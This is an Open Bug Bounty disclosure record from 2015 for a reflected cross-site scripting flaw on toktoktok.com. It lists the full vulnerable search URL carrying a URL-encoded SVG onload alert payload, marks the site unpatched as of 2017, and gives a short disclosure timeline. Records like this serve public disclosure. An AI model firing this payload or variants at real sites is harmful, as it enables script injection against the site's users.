toktoktok.com XSS vulnerability

2015-11-01T21:45:00
ID OBB:99322
Type openbugbounty
Reporter retr0
Modified 2015-11-01T21:47:00

Description

Vulnerable URL:
https://toktoktok.com/ws/search?page=0&zoneId;=1&meal;_type=&feed;_id=0&now;=1&query;=%22%3E%3Csvg%2Fonload%3Dalert%28%2FXSSPOSED%2F%29%3E⪫=49.42310&lng;=3.37130
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 25.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 211997
Google Pagerank| 3
VIP website status:| No
Check toktoktok.com SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 1 November, 2015 21:45 GMT
Vulnerability existence verified and confirmed| 1 November, 2015 21:47 GMT